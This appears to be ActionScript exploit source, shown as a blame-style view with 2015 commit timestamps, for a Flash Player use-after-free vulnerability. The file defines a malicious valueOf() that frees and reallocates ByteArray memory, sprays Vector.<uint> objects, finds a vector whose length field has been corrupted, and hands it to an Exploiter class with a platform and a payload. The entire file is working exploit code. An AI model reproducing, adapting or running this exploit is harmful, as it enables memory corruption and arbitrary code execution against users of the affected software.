2015-07-07 16:19:48 +00:00
|
|
|
|
package
|
|
|
|
|
{
|
|
|
|
|
import flash.display.DisplayObjectContainer;
|
|
|
|
|
import flash.utils.ByteArray;
|
|
|
|
|
import flash.system.Capabilities;
|
|
|
|
|
import flash.events.MouseEvent;
|
|
|
|
|
import flash.external.ExternalInterface;
|
|
|
|
|
|
|
|
|
|
public class MyClass
|
|
|
|
|
{
|
|
|
|
|
static var
|
|
|
|
|
_gc:Array,
|
|
|
|
|
_va:Array,
|
|
|
|
|
_ba:ByteArray,
|
2015-07-15 23:18:04 +00:00
|
|
|
|
_corrupted:Vector.<uint>,
|
2015-07-07 16:19:48 +00:00
|
|
|
|
_isDbg:Boolean = Capabilities.isDebugger;
|
|
|
|
|
|
|
|
|
|
// define malicious valueOf()
|
|
|
|
|
prototype.valueOf = function ()
|
|
|
|
|
{
|
|
|
|
|
Logger.log("MyClass.valueOf()");
|
|
|
|
|
|
|
|
|
|
_va = new Array(5);
|
|
|
|
|
_gc.push(_va); // protect from GC // for RnD
|
|
|
|
|
|
|
|
|
|
// reallocate _ba storage
|
|
|
|
|
_ba.length = 0x1100;
|
|
|
|
|
|
|
|
|
|
// reuse freed memory
|
|
|
|
|
for(var i:int; i < _va.length; i++)
|
|
|
|
|
_va[i] = new Vector.<uint>(0x3f0);
|
|
|
|
|
|
|
|
|
|
// return one byte for overwriting
|
|
|
|
|
return 0x40;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// try to corrupt the length value of Vector.<uint>
|
2015-07-15 23:18:04 +00:00
|
|
|
|
static function TryExpl(e:Exploit, platform:String, payload:ByteArray) : Boolean
|
2015-07-07 16:19:48 +00:00
|
|
|
|
{
|
|
|
|
|
Logger.log("tryexpl")
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
var alen:int = 90; // should be multiply of 3
|
|
|
|
|
var a = new Array(alen);
|
|
|
|
|
if (_gc == null) _gc = new Array();
|
|
|
|
|
_gc.push(a); // protect from GC // for RnD
|
|
|
|
|
|
|
|
|
|
// try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ]
|
|
|
|
|
for(var i:int; i < alen; i+=3){
|
|
|
|
|
a[i] = new MyClass2(i);
|
|
|
|
|
|
|
|
|
|
a[i+1] = new ByteArray();
|
|
|
|
|
a[i+1].length = 0xfa0;
|
|
|
|
|
|
|
|
|
|
a[i+2] = new MyClass2(i+2);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// find these pages
|
|
|
|
|
for(i=alen-5; i >= 0; i-=3)
|
|
|
|
|
{
|
|
|
|
|
// take next allocated ByteArray
|
|
|
|
|
_ba = a[i];
|
|
|
|
|
// call valueOf() and cause UaF memory corruption
|
|
|
|
|
_ba[3] = new MyClass();
|
|
|
|
|
// _ba[3] should be unchanged 0
|
|
|
|
|
Logger.log("_ba[3] = " + _ba[3]);
|
|
|
|
|
if (_ba[3] != 0) throw new Error("can't cause UaF");
|
|
|
|
|
|
|
|
|
|
// check results // find corrupted vector
|
2015-07-15 23:18:04 +00:00
|
|
|
|
for (var j:int = 0; j < _va.length; j++) {
|
|
|
|
|
if (_va[j].length != 0x3f0) {
|
|
|
|
|
_corrupted = _va[j]
|
|
|
|
|
} else {
|
|
|
|
|
delete(_va[j])
|
|
|
|
|
_va[j] = null
|
2015-07-07 16:19:48 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-07-15 23:18:04 +00:00
|
|
|
|
|
|
|
|
|
if (_corrupted != null) {
|
|
|
|
|
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
|
|
|
|
|
var exploiter:Exploiter = new Exploiter(e, platform, payload,_corrupted, 0x3f0)
|
|
|
|
|
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
|
|
|
|
|
return true
|
|
|
|
|
}
|
2015-07-07 16:19:48 +00:00
|
|
|
|
}
|
|
|
|
|
Logger.log("bad allocation. try again.");
|
|
|
|
|
}
|
|
|
|
|
catch (e:Error)
|
|
|
|
|
{
|
|
|
|
|
Logger.log("TryExpl() " + e.toString());
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return false;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
}
|